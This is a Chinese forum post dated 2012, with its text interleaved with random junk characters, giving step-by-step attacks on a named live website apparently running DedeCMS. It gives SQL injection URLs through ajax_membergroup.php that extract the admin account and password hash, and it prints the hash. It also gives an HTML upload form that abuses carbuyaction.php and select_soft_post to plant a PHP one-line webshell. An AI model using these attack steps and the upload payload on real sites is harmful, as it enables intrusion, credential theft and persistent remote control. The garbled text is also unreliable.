①注入漏洞。
. u l7 ~- N2 U9 h这站 http://www.political-security.com/
: [/ A- w. k- [9 a' I0 B" G首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
1 P( N1 R) D& Q wwww.political-security.com/data/mysql_error_trace.inc 爆后台
$ D5 A% [1 C& i2 N然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。! j0 l' C' Z* F
然后写上语句
, @% U; v% Q q( L4 ?% p$ c查看管理员帐号; M; L$ g) l o+ s; X. @2 L) s
http://www.political-security.co ... &membergroup=@`' O! w3 m9 r+ C: j M$ w
6 I/ `% _: J- L& A$ |; R$ O
admin 4 W) F9 w9 A! g. B5 e
G& e1 X3 a% |' f8 x c% x查看管理员密码
" G' _5 y- I$ e s# A! L& x3 A8 S http://www.political-security.co ... &membergroup=@`4 q z% j- L2 G7 \ f
6 b& K5 A+ T- q
8d29b1ef9f8c5a5af4299 g( R0 j3 E2 q& @6 y
: R1 }+ f- o$ Y1 a
查看管理员密码% o- w- v+ g& r2 |
; H) W/ o- T/ I8 t% r9 d+ S" j8 s得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5+ E$ L. [9 F% X* J
7 x M, n+ O% m0 f3 U* m
8d2# w* C, W) J7 t+ I) c
9b1ef9f8c5a5af42, o2 a. e$ L5 N2 X. ^' o! W
9
# }* h# m6 `- S' V: r
4 ~( H* P- E5 K3 a% c# b+ L* [5 Fcmd5没解出来 只好测试第二个方法
7 I2 T: z( y+ j! d( k' p
( ~3 O+ J6 ] D% \" H6 V
' a# F7 |: p' s②上传漏洞：) S) ~$ e- a$ {0 A4 T
0 Q& ^ U/ R, Z7 e9 A* m只要登陆会员中心，然后访问页面链接
' |& y. T, I' G( d“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”% R, C$ i" d1 r6 `0 Z. m5 Z
- k0 }* ~, O. V( i, p# C如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
* ?1 [6 L- v; e& w; O; v+ Q6 ?
9 d0 M& Q) S0 c. M A+ Q) R于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
) b' Y( S6 U1 _& C& v' J* ]8 F
+ ^# E3 ~9 i! C) ]9 `8 F<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>: G7 @! s! {$ `
或者+ l. f2 Y4 d5 X% a
即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对